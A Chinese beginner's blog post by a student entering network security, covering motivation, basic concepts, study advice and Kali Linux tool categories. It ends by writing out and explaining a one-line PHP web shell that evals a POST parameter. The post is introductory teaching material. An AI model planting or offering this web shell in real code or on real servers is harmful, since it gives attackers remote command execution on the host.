网络渗透小白的第一篇

我为什么选了这个专业

我现在是一名大三的学生，普普通通特长不多，拿过一些奖，拿过一些奖学金，之前也是为了我的就业方向焦头烂额，不过，最终我决定了往网络空间安全方向发展，实在要说为什么，我喜欢。所以我不会后悔的。冲！不知不觉自己也想通过发博客来帮助自己记忆，也把自己的心得发出来让大家一起看，以后还指望各位大佬可以不吝赐教，谢谢啦，一起加油！
（我若说错了什么，那就让各位见笑了，还希望给出批评和指正）

一些对我来说需要记清楚的概念

1.首先我们必须搞懂网络安全是干什么？

现阶段的我认为，网络安全主要是进行网络渗透，网络测试，系统安全维护的。做的工作是什么样的呢？我不敢说的很准确，但是如果是做安全运维的，那么一定脱不了维护系统，防火墙，等等。在我的知识面里对网络安全架构，网络安全开发还是比较空白的，还希望大家见谅（道歉）

2.首先我们需要做什么？

想要接触网络安全，我认为最必要的是先去接触教材，去了解网络空间安全的概念，了解网络安全包括了什么，有什么东西。最简单的就是从书本入手，现在几乎每一本关于网络安全的书籍都有描述。多去看一些相关的书籍。

3.我们会用到什么工具？

首先，我们无法脱离的一个就是虚拟机，linux，kali，我们用到的许多应用都在kali上可以找到，web，信息收集，漏洞分析，密码攻击，无限攻击，无限攻击，逆向工程等等。kali可以通过官网进行下载，到时候我会出一个教程。如何安装kali。

网络攻防？

相信大家都听说过网络攻防，觉得帅吗，大家可以去尝试一下，首先去了解什么是网络攻击，网络攻击有哪些手段。网络攻击是现在这个时代必须重视的问题之一，想要了解，一样，先去看书或者博客去了解什么是网络攻防。我不是什么厉害的人物，但是如果大家喜欢，我会出一系列的专题来向各位讲述。

一句话木马

最后给大家看一下简单的一句话木马是怎样写的？

<?php @eval($_POST['attack']) ?>

这句话什么意思呢？
1）php的代码要写在<?php ?>里面，服务器才能认出来这是php代码，然后才去解析。
2）@符号的意思是不报错，即使执行错误，也不报错。
括号内的‘’就是密码了。

总结

想说的很多，但是这是我的第一篇博客，我知道很差，太多想说的不知道怎么说，不知道要怎样有逻辑的讲出来，总之，以后还请各位大佬多多指教啦！谢谢大家的谅解。